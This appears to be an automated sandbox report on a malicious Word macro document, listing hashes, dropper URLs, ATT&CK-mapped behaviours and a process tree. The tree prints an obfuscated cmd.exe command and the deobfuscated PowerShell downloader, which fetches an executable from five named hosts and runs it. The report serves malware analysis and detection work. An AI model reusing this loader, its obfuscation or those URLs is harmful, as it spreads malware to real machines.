89d8c90d091111f17323aae268bc8732132c82b6507a6e4773378a2e288e1fbc

General

Target

ce3109aca2237ff1e0f7f98c066eb307_JaffaCakes118.doc
Size

134KB
MD5

ce3109aca2237ff1e0f7f98c066eb307
SHA1

f33b0e3a174fa419a51b2c6d7eb710337f5c0e97
SHA256

89d8c90d091111f17323aae268bc8732132c82b6507a6e4773378a2e288e1fbc
SHA512

47d535b9074d0a668db9e71aebfabb86de3f674352b9f7aee68cc475527f254e73eaff7dbd5ced9c9317bc0bba182caf02d664e26a25a0ad000d54904442036c
SSDEEP

1536:O81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a9udl6dAu:O8GhDS0o9zTGOZD6EbzCdsdIiu

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.khutt.org/0lz8WgN

exe.dropper

http://www.viromedia.net/Hj

exe.dropper

http://www.progettopersianas.com.br/KD3q0VRw

exe.dropper

http://bunonartcrafts.com/u

exe.dropper

http://robwalls.com/lf

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2216	816	cmd.exe	30

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2660	powershell.exe
7	2660	powershell.exe
9	2660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
2216	cmd.exe
2544	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
816	WINWORD.EXE
816	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 2696	816	WINWORD.EXE	31
PID 816 wrote to memory of 2696	816	WINWORD.EXE	31
PID 816 wrote to memory of 2696	816	WINWORD.EXE	31
PID 816 wrote to memory of 2696	816	WINWORD.EXE	31
PID 816 wrote to memory of 2216	816	WINWORD.EXE	32
PID 816 wrote to memory of 2216	816	WINWORD.EXE	32
PID 816 wrote to memory of 2216	816	WINWORD.EXE	32
PID 816 wrote to memory of 2216	816	WINWORD.EXE	32
PID 2216 wrote to memory of 2544	2216	cmd.exe	35
PID 2216 wrote to memory of 2544	2216	cmd.exe	35
PID 2216 wrote to memory of 2544	2216	cmd.exe	35
PID 2216 wrote to memory of 2544	2216	cmd.exe	35
PID 2544 wrote to memory of 2660	2544	cmd.exe	36
PID 2544 wrote to memory of 2660	2544	cmd.exe	36
PID 2544 wrote to memory of 2660	2544	cmd.exe	36
PID 2544 wrote to memory of 2660	2544	cmd.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ce3109aca2237ff1e0f7f98c066eb307_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2696
- \??\c:\windows\SysWOW64\cmd.exe
  c:\YNSduIJIcj\ToDJfRP\bGjPOvQ\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set vY=jtSVTVYFmNAbNDcTNztSltHrp;wfeg\XCGU@=,a6douK/qy8kORIP's)n0xi}Qh(2B4$+ :.W-{v3&&for %s in (67,61,27,45,36,53,27,42,32,53,25,67,52,0,0,36,56,28,26,73,41,11,0,28,14,21,69,16,28,21,71,72,28,11,32,20,59,28,56,21,25,67,24,49,41,36,53,62,21,21,24,70,44,44,26,26,26,71,48,62,42,21,21,71,41,23,29,44,57,20,17,47,72,29,16,35,62,21,21,24,70,44,44,26,26,26,71,75,59,23,41,8,28,40,59,38,71,56,28,21,44,22,0,35,62,21,21,24,70,44,44,26,26,26,71,24,23,41,29,28,21,21,41,24,28,23,54,59,38,56,38,54,71,14,41,8,71,11,23,44,43,13,76,45,57,5,50,26,35,62,21,21,24,70,44,44,11,42,56,41,56,38,23,21,14,23,38,27,21,54,71,14,41,8,44,42,35,62,21,21,24,70,44,44,23,41,11,26,38,20,20,54,71,14,41,8,44,20,27,53,71,19,24,20,59,21,63,53,35,53,55,25,67,10,5,38,36,53,24,5,54,53,25,67,65,27,17,69,36,69,53,66,39,64,53,25,67,62,14,7,36,53,45,23,23,53,25,67,38,65,26,36,67,28,56,75,70,21,28,8,24,68,53,30,53,68,67,65,27,17,68,53,71,28,58,28,53,25,27,41,23,28,38,14,62,63,67,21,75,23,69,59,56,69,67,24,49,41,55,74,21,23,46,74,67,52,0,0,71,13,41,26,56,20,41,38,40,7,59,20,28,63,67,21,75,23,37,69,67,38,65,26,55,25,67,17,54,72,36,53,6,59,22,53,25,51,27,69,63,63,33,28,21,73,51,21,28,8,69,67,38,65,26,55,71,20,28,56,29,21,62,69,73,29,28,69,47,57,57,57,57,55,69,74,51,56,75,41,48,28,73,51,21,28,8,69,67,38,65,26,25,67,34,41,48,36,53,49,19,75,53,25,11,23,28,38,48,25,60,60,14,38,21,14,62,74,60,60,67,34,34,31,36,53,65,42,7,53,25,84)do set DT=!DT!!vY:~%s,1!&&if %s gtr 83 powershell "!DT:~-439!""
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    CmD /V/C"set vY=jtSVTVYFmNAbNDcTNztSltHrp;wfeg\XCGU@=,a6douK/qy8kORIP's)n0xi}Qh(2B4$+ :.W-{v3&&for %s in (67,61,27,45,36,53,27,42,32,53,25,67,52,0,0,36,56,28,26,73,41,11,0,28,14,21,69,16,28,21,71,72,28,11,32,20,59,28,56,21,25,67,24,49,41,36,53,62,21,21,24,70,44,44,26,26,26,71,48,62,42,21,21,71,41,23,29,44,57,20,17,47,72,29,16,35,62,21,21,24,70,44,44,26,26,26,71,75,59,23,41,8,28,40,59,38,71,56,28,21,44,22,0,35,62,21,21,24,70,44,44,26,26,26,71,24,23,41,29,28,21,21,41,24,28,23,54,59,38,56,38,54,71,14,41,8,71,11,23,44,43,13,76,45,57,5,50,26,35,62,21,21,24,70,44,44,11,42,56,41,56,38,23,21,14,23,38,27,21,54,71,14,41,8,44,42,35,62,21,21,24,70,44,44,23,41,11,26,38,20,20,54,71,14,41,8,44,20,27,53,71,19,24,20,59,21,63,53,35,53,55,25,67,10,5,38,36,53,24,5,54,53,25,67,65,27,17,69,36,69,53,66,39,64,53,25,67,62,14,7,36,53,45,23,23,53,25,67,38,65,26,36,67,28,56,75,70,21,28,8,24,68,53,30,53,68,67,65,27,17,68,53,71,28,58,28,53,25,27,41,23,28,38,14,62,63,67,21,75,23,69,59,56,69,67,24,49,41,55,74,21,23,46,74,67,52,0,0,71,13,41,26,56,20,41,38,40,7,59,20,28,63,67,21,75,23,37,69,67,38,65,26,55,25,67,17,54,72,36,53,6,59,22,53,25,51,27,69,63,63,33,28,21,73,51,21,28,8,69,67,38,65,26,55,71,20,28,56,29,21,62,69,73,29,28,69,47,57,57,57,57,55,69,74,51,56,75,41,48,28,73,51,21,28,8,69,67,38,65,26,25,67,34,41,48,36,53,49,19,75,53,25,11,23,28,38,48,25,60,60,14,38,21,14,62,74,60,60,67,34,34,31,36,53,65,42,7,53,25,84)do set DT=!DT!!vY:~%s,1!&&if %s gtr 83 powershell "!DT:~-439!""
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "$Qfq='fuC';$Pjj=new-object Net.WebClient;$pOo='http://www.khutt.org/0lz8WgN@http://www.viromedia.net/Hj@http://www.progettopersianas.com.br/KD3q0VRw@http://bunonartcrafts.com/u@http://robwalls.com/lf'.Split('@');$AVa='pVs';$Bfz = '462';$hcF='qrr';$aBw=$env:temp+'\'+$Bfz+'.exe';foreach($tvr in $pOo){try{$Pjj.DownloadFile($tvr, $aBw);$zsW='YiH';If ((Get-Item $aBw).length -ge 80000) {Invoke-Item $aBw;$Uok='OSv';break;}}catch{}}$UUX='BuF';"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
8c87aae677432d9490f703eecb6fc249

SHA1
709e9ff746be5b3849d649c8bfb8ec6cac01859f

SHA256
e386a3f4d41d7f1bfd059448885e80456020be0bbae5de18d7aa36a178b7dd2b

SHA512
e954f8be94cdb45022d6dbaffd78f8d191431a27ef64fbde6acedea0d128aa911dc4487aaad68ee4a1ea8588883a79486fa52a3cf67186ebde3dfb66d00b48c2

Download Submit
memory/816-8-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-5-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-4-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-9-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-7-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-0-0x000000002FA11000-0x000000002FA12000-memory.dmp

Filesize
4KB

Download
memory/816-6-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-2-0x0000000070FCD000-0x0000000070FD8000-memory.dmp

Filesize
44KB

Download
memory/816-18-0x0000000070FCD000-0x0000000070FD8000-memory.dmp

Filesize
44KB

Download
memory/816-19-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-22-0x0000000000470000-0x0000000000570000-memory.dmp

Filesize
1024KB

Download
memory/816-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/816-37-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/816-38-0x0000000070FCD000-0x0000000070FD8000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads